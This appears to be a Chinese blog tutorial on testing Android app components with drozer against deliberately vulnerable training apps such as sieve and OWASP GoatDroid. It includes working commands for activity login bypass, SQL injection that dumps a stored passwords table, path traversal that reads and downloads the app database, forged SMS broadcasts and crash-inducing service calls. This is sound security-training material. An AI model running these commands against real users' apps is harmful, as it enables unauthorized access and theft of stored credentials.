APP测试系列-四大组件安全测试

image-20221230164849744

一、前言

之前的文章介绍了 APP 抓包的几种方法,解决了抓包问题,其余 APP 功能点测试与 WEB 端测试如出一辙。本文主要介绍 Android APP 测试中四大组件相关测试手段。

Android 四大组件

Android 四大组件分别是 Activity、Content Provider、Broadcast Receiver 以及 Service

1
2
3
4
5
6
| 组件名称            | 具体用途                                                     |
| ----------------- | ------------------------------------------------------------ |
| Activity | 展示组件,用于向用户直接展示一个界面,而且可以接受用户的输入信息从而进行交互 |
| Broadcast Receiver | 通讯组件,用于在不同组件甚至不同应用中传递消息 |
| Content Provider | 数据共享组件,用于向其他组件乃至其他应用共享数据 |
| Service | 能在后台执行长期运行操作的组件,它没有UI界面,运行在宿主进程的主线程中,因此执行耗时的后台计算任务需要在单独的线程中去完成 |


二、环境搭建

drozer 安装

drozer 安装在 Windows 下,安装环境必须为 python 2.7,下载地址 Github官网

image-20221116102905092

1、安装 drozer 前先安装 python 2.7,安装时选择自动添加环境变量

image-20221116195702257

安装完成,测试是否成功安装

image-20221116195828270

2、安装 dorzer ,下载 drozer 后点击安装,由于系统没有识别到 Python2.7,所以我们需要指定 python2.7 路径,若系统能识别到,则选择 python2.7 即可

image-20221116200101626

image-20221116200255960

drozer 成功安装后,软件位于 Python 2.7 下的 Scripts 目录下

image-20221117205713220

3、手机安装 drozer-agent-2.3.4.apk点击下载 安装完成后,测试是否可正常使用。首先进入 dorzer-agent app 点击右下按钮,开启端口转发功能。然后使用具备数据传输的 USB 线,手机连接电脑,点击文件传输使电脑可连接至手机

image-20221228201311642

使用 adb 软件进行端口转发,使手机与电脑可进行通信,命令:adb forward tcp:31415 tcp:31415 点击下载adb

image-20221123144712299

注意:当使用 adb 进行端口转发,若出现报错,error: no devices/emulators found,原因是我们手机没有开启开发者模式,只需打开手机开发者模式,开启 USB 调试功能,根据自身手机品牌自行进行操作,开启后再次再次执行命令 adb.exe forward tcp:31415 tcp:31415 即可。

image-20221116204352994

image-20221117112228564

最后进入 Python27\Scripts 目录下执行命令开启 drozer 与手机连接通道 drozer.bat console connect,如果报错 ImportError: No module named google.protobuf,则需要安装依赖。

image-20221116205442505

cmd 命令行执行逐一安装即可

1
2
3
4
5
pip2 install protobuf -i https://pypi.tuna.tsinghua.edu.cn/simple
pip2 install pyopenssl -i https://pypi.tuna.tsinghua.edu.cn/simple
pip2 install pyyaml -i https://pypi.tuna.tsinghua.edu.cn/simple
pip2 install twisted -i https://pypi.tuna.tsinghua.edu.cn/simple
pip2 install service_identity -i https://pypi.tuna.tsinghua.edu.cn/simple

安装依赖后再次执行命令 drozer.bat console connect,drozer 成功连接手机,drozer 启动成功

image-20221116210214044

至此 drozer 安装及测试已全部完成。


三、四大组件测试

Activity

由上面我们知道 Activity 为展示组件,用于向用户直接展示一个界面,而且可以接受用户的输入信息从而进行交互。具体漏洞类型及危害如下:

1
2
3
4
5
6
| 漏洞种类                  | 危害                                                         |
| -------------------------| ------------------------------------------------------------ |
| 越权绕过 | Activity用户界面绕过会造成用户信息窃取 |
| 拒绝服务 | 通过Intent给Activity传输畸形数据使得程序崩溃从而影响用户体验 |
| 钓鱼欺骗/Activity劫持 | 组件导出导致钓鱼欺诈,Activity界面被劫持产生欺诈等安全事件 |
| 隐式启动intent包含敏感数据 | 敏感信息泄露 |

越权绕过

在 Android 系统中,Activity 组件默认是不导出的,如果 AndroidManifest.xml 中设置了 exported = "true" 这样的关键值或者是添加了<intent-filter> 这样的属性,那么此时 Activity 组件是导出的,就会引发越权绕过或者是泄露敏感信息等的安全风险。(注释:导出-组件可以被外部应用调用; AndroidManifest.xml-应用清单,每个Android APP必备的文件配置,反编译后可查看其详细配置代码)

例子:测试样本 sieve.apk,下载地址:https://github.com/as0ler/Android-Examples

1、手机安装 sieve.apk、drozer-agent.apk,sieve app 界面如下图左,按照上面文章 drozer 安装部分,配置好相关测试环境,手机端点击 drozer 右下角打开代理,利用 adb 进行端口转发,界面如下图右

image-20221230154124250

adb开启端口转发:adb.exe forward tcp:31415 tcp:31415

image-20221230150431447

drozer 连接手机:drozer.bat console connect

image-20221118205504976

2、尝试利用 drozer 越权绕过 sieve app 登录界面

列出手机程序中所有的 APP 包名

1
run app.package.list

image-20221230151306269

如上图出现文字乱码,解决方案如下:

Everything 搜索,找到位于 Python27 目录下的 package.py

image-20221118211507281

添加如下代码

1
2
3
import sys
reload(sys)
sys.setdefaultencoding('utf-8')

image-20221118211715083

360、362行添加字母 u

image-20221118211856113

重新启动 drozer,再次执行命令 run app.package.list 列出所有手机已安装程序的包名

image-20221118212227708

由于列出的包名众多,无法正确分辨需测试的 APP 包名为哪个,我们转用 GetAPKInfo 工具来获取 sieve app 包名, java -jar GetAPKInfo.jar C:\Users\Boom\Desktop\sieve.apk

image-20221118213337410

然后 drozer 直接搜索包名信息 com.mwr.example.sieve,该APP具体信息如下

image-20221118214341449

我们直接去查询目标应用的攻击面,通过下图可知 Activity 有3个组件是可以导出的

1
run app.package.attacksurface com.mwr.example.sieve

image-20221230150630239

查看具体可导出的 Activity 组件信息

1
run app.activity.info -a com.mwr.example.sieve

image-20221230150719923

调用组件,实现登录绕过界面(由于测试样本不支持高版本 Android,所以这里使用 MuMu 模拟器进行测试,实现绕过),其它 Activity 导出组件绕过测试只需更换组件名即可

1
run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList

image-20221230203111751


钓鱼欺诈/Activity劫持

例子:劫持测试 APP 下载地址:https://github.com/yanghaoi/android_app

1、手机安装点击劫持软件 uihijackv2.0_sign.apk , drozer 开启端口转发,adb 连接 drozer

image-20221228105855609

2、打开被测软件界面,这里被测软件也是使用 drozer,然后 Windows 通过 drozer 命令调用劫持软件 uihijackv2.0_sign,若 uihijackv2.0_sign 界面位于被测软件上,则存在漏洞(如下图),若被测页面无变化则不存在漏洞。

1
run app.activity.start --component com.test.uihijack com.test.uihijack.MainActivity

image-20221228110911255


拒绝服务攻击

例子:测试 APP 下载地址:https://github.com/Funsiooo/Vuln_Bulid/blob/main/APP/OWASP-GoatDroid-0.9.zip

1、利用 drozer 直接查看暴露的组件,然后进行调用,查看是否出现程序崩溃情况。通过 GetAPKInfo 工具来获取 APP 包名为 org.owasp.goatdroid.fourgoats

image-20221228143353936

2、安装 OWASP GoatDroid- FourGoats Android App.apk 软件,利用 drozer 查看其暴露组件

1
run app.package.attacksurface org.owasp.goatdroid.fourgoats

image-20221228143724432

查看具体暴露组件

1
run app.activity.info -a org.owasp.goatdroid.fourgoats

image-20221228143848311

3、调用组件,查看是否导致拒绝服务,若程序出现 程序崩溃已停止运行 等程序无法运行或自动退出行为则为攻击成功。查看例子:http://rui0.cn/archives/30 ,调用命令例子如下:

1
run app.activity.start --component org.owasp.goatdroid.fourgoats org.owasp.goatdroid.fourgoats.activities.Main

Conten Provid

数据共享组件,用于向其他组件乃至其他应用共享数据,由此可推算,该组件漏洞与数据相关。

1
2
3
4
5
| 漏洞种类 | 危害            |
| -------- | ---------------|
| 信息泄露 | 查看组件数据信息 |
| SQL注入 | 注入获取相关数据 |
| 目录遍历 | 访问任意可读文件 |

信息泄露

1、依然使用 seive.apk 作为测试 app,但需要在第一次安装打开时需要设置账号密码

image-20221228204134046

2、利用 drozer 查看 provider 数据组件具体的攻击面

1
run app.provider.info -a com.mwr.example.sieve

image-20221228151737611

3、对 com.mwr.example.sieve.DBContentProvider 攻击面进行测试,列出 URI

1
run app.provider.finduri com.mwr.example.sieve

image-20221228151941707

4、利用 drozer 扫描模块对列出的 URI 进行扫描,查看可访问的 URI ,三个 URI 可访问

1
run scanner.provider.finduris -a com.mwr.example.sieve

image-20221228152408647

5、访问URI,查看具体内容 ,由下图可知,刚才我们所填的数据全部列了出来

1
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical

image-20221228154520099


SQL注入

1、进一步测试可访问的 URI 是否存在注入

1
2
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"

出现语法错误,存在SQL注入

image-20221228153720244

image-20221228153747173

2、利用 drozer 内置注入扫描模块进行扫描,扫描存在注入

1
run scanner.provider.injection -a com.mwr.example.sieve

image-20221228154604350

3、继续利用,列出所有数据表,得知数据库表有 nameandroid_metadataPasswordsKey

1
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"

image-20221228154446929

4、单独查看表中数据,例查询 Passwords 表数据

1
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Passwords;--"

image-20221228154427706


目录遍历

1、利用 drozer 自带模块扫描目录遍历,存在两个漏洞 content://com.mwr.example.sieve.FileBackupProvider/,content://com.mwr.example.sieve.FileBackupProvider

image-20221228160057841

2、对其 URI 进行文件读取

1
run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts

image-20221228160259984

3、读取更多信息

1
run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db

image-20221228160839383

4、下载文件 (C:\Users\oooo\Desktop\database.db为文件保存路径)

1
run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db C:\\Users\\oooo\\Desktop\\database.db

image-20221228161024128

image-20221228161043428


Broadcast Receiver

1
2
3
4
5
6
| 漏洞种类     | 危害                                                         |
| ------------ | ------------------------------------------------------------ |
| 敏感信息泄露 | 发送的intent没有明确指定接收者,而是简单的通过action进行匹配,恶意应用便可以注册一个广播接收者嗅探拦截到这个广播,如果这个广播存在敏感数据,就被恶意应用窃取了。 |
| 权限绕过 | 可以通过两种方式注册广播接收器,一种是在AndroidManifest.xml文件中通过<receiver>标签静态注册,另一种是通过Context.registerReceiver()动态注册,指定相应的intentFilter参数,动态注册的广播默认都是导出的,如果导出的BroadcastReceiver没有做权限控制,导致BroadcastReceiver组件可以接收一个外部可控的url、或者其他命令,导致攻击者可以越权利用应用的一些特定功能,比如发送恶意广播、伪造消息、任意应用下载安装、打开钓鱼网站等 |
| 消息伪造 | 暴露的Receiver对外接收Intent,如果构造恶意的消息放在Intent中传输,被调用的Receiver接收可能产生安全隐患 |
| 拒绝服务 | 如果敏感的BroadcastReceiver没有设置相应的权限保护,很容易受到攻击。最常见的是拒绝服务攻击。拒绝服务攻击指的是,传递恶意畸形的intent数据给广播接收器,广播接收器无法处理异常导致crash。 拒绝服务攻击的危害视具体业务场景而定,比如一个安全防护产品的拒绝服务、锁屏应用的拒绝服务、支付进程的拒绝服务等危害就是巨大的。 |

拒绝服务

1、查看针对 broadcast 数据组件具体的攻击面

1
run app.broadcast.info -a org.owasp.goatdroid.fourgoats

image-20231122111055505

2、针对 broadcast 攻击面进行测试需要先找到相应的 action 名,由上图可知,broadcast 组件名称为 org.owasp.goatdroid.fourgoats.broadcastreceivers.SendSMSNowReceiver 这边使用 jadx 进行反编译,查看 AndroidManifest.xml 寻找 action,关键搜索 .broadcastreceivers.SendSMSNowReceiver

1
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS

未执行前

image-20221228164826268

执行后,程序退出,导致拒绝服务

image-20221228164917550


消息伪造(发送恶意广播)

1、查看针对 broadcast 数据组件具体的攻击面

1
run app.broacast.info -a org.owasp.goatdroid.fourgoats

image-20231122111055505

2、利用 jadx 反编译 apk,查看 broadcast receivers 模块具体代码,审计 .broadcastreceivers.SendSMSNowReceiver 代码可知发送广播需要两个参数命令

image-20221228163829810

action 名称为 org.owasp.goatdroid.fourgoats.SOCIAL_SMS

image-20221228164227532

具体执行代码为

1
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --extra string phoneNumber 13800000000 --extra string message test

image-20221228164509817


Service

参考文章:Service(服务)是一个一种可以在后台执行长时间运行操作而没有用户界面的应用组件。服务可由其他应用组件启动(如Activity),服务一旦被启动将在后台一直运行,即使启动服务的组件(Activity)已销毁也不受影响。 此外,组件可以绑定到服务,以与之进行交互,甚至是执行进程间通信 (IPC)。

1
2
3
4
5
6
| 漏洞种类    | 危害                                                         |
| ----------- | ------------------------------------------------------------ |
| 权限提升 | 当一个service配置了intent``-``filter默认是被导出的,如果没对调用Service进行权限,限制或者是没有对调用者的身份进行有效验证,那么恶意构造的APP都可以对此Service传入恰当的参数进行调用,导致恶意行为发生比如调用具有system权限的删除卸载服务删除卸载其他应用。 |
| service劫持 | 隐式启动services,当存在同名services,先安装应用的services优先级高 |
| 消息伪造 | 暴露的Service对外接收Intent,如果构造恶意的消息放在Intent中传输,被调用的Service接收可能产生安全隐患 |
| 拒绝服务 | Service的拒绝服务主要来源于Service启动时对接收的Intent等没有做异常情况下的处理,导致程序崩溃 |

拒绝服务

1、查看针对 service 组件具体的攻击面

1
run app.service.info -a org.owasp.goatdroid.fourgoats

image-20221228162300918

打开 FourGoats app 停留在首页界面,由于存漏洞,直接调用导致拒绝服务,APP程序自动退出,返回桌面

1
run app.service.start --action org.owasp.goatdroid.fourgoats.services.LocationService

image-20221228162847713

更多具体例子请参考文章:https://bbs.pediy.com/thread-269255.htm


四、扩展知识点

adb使用

adb查看连接设备的android日志

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//格式1:打印默认日志数据
adb logcat

//格式2:需要打印日志详细时间的简单数据
adb logcat -v time

//格式3:需要打印级别为Error的信息
adb logcat *:E

//格式4:需要打印时间和级别是Error的信息
adb logcat -v time *:E

//格式5:将日志保存到电脑固定的位置,比如D:\log.txt
adb logcat -v time >D:\log.txt

//格式5:日志监听
adb logcat |grep packagename(app包名)

APP模块说明

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

| 模块名 | 作用 |
| ------------------------- | ----------------------------------------------------------- |
| app.activity.forintent | 通过intent查找它的activity |
| app.activity.info | 获取activities信息 |
| app.activity.start | 开启 Activity |
| app.broadcast.info | 获取broadcast receivers信息 |
| app.broadcast.send | 发送广播 |
| app.broadcast.sniff | 嗅探广播中intent的数据 |
| app.package.attacksurface | 确定安装包的可攻击面 |
| app.package.backup | 列出可备份的包 |
| app.package.debuggable | 列出可debug的包 |
| app.package.info | 获取已安装包的信息 |
| app.package.launchintent | 获取程序启动的activity信息 |
| app.package.list | 手机已安装的程序包 |
| app.package.manifest | 获取程序manifest文件信息 |
| app.package.native | 列出Native libraries 信息 |
| app.package.shareduid | 查找拥有共同uid的包和他们所有的权限 |
| app.provider.columns | 展示content provider URI的各列 |
| app.provider.delete | 删除content provider URI的内容 |
| app.provider.download | 使用openInputStream读取指定uri的内容,并下载在电脑中 |
| app.provider.info | 获取 content providers信息 |
| app.provider.insert | 插入数据到content provider |
| app.provider.query | 查询content provider 内容 |
| app.provider.read | 使用openInputStream读取指定uri的内容 |
| app.provider.update | 更新content provider的内容 |
| app.service.info | 获取services的信息 |
| app.service.send | 使用 Message攻击暴露的service,其service实现了handleMessage |
| app.service.start | 开启服务 |
| app.service.stop | 停止服务 |

五、总结

文章编写断断续续,内容多为参考网上师傅们的文章,属于前人栽树,后人乘凉了,知识点也是好几年前的知识,一系列学习下来,扩展了 APP 测试攻击的思路,总体上测试基于 drozer 工具下进行测试,根据每个组件的特性进行单点突破,收获还是有的。

六、参考

1
2
3
4
5
6
7
8
9
https://blog.yorek.xyz/android/paid/zsxq/week17-android-components/
https://bbs.pediy.com/thread-269211.htm
https://bbs.pediy.com/thread-269255.htm
https://bbs.pediy.com/thread-269309.htm
https://bbs.pediy.com/thread-269447.htm
https://www.cnblogs.com/wjrblogs/p/13953761.html
https://dl.google.com/android/repository/platform-tools_r33.0.3-windows.zip
https://bbs.pediy.com/thread-262208.htm
https://www.cnblogs.com/zhaoyixiang/p/11236458.html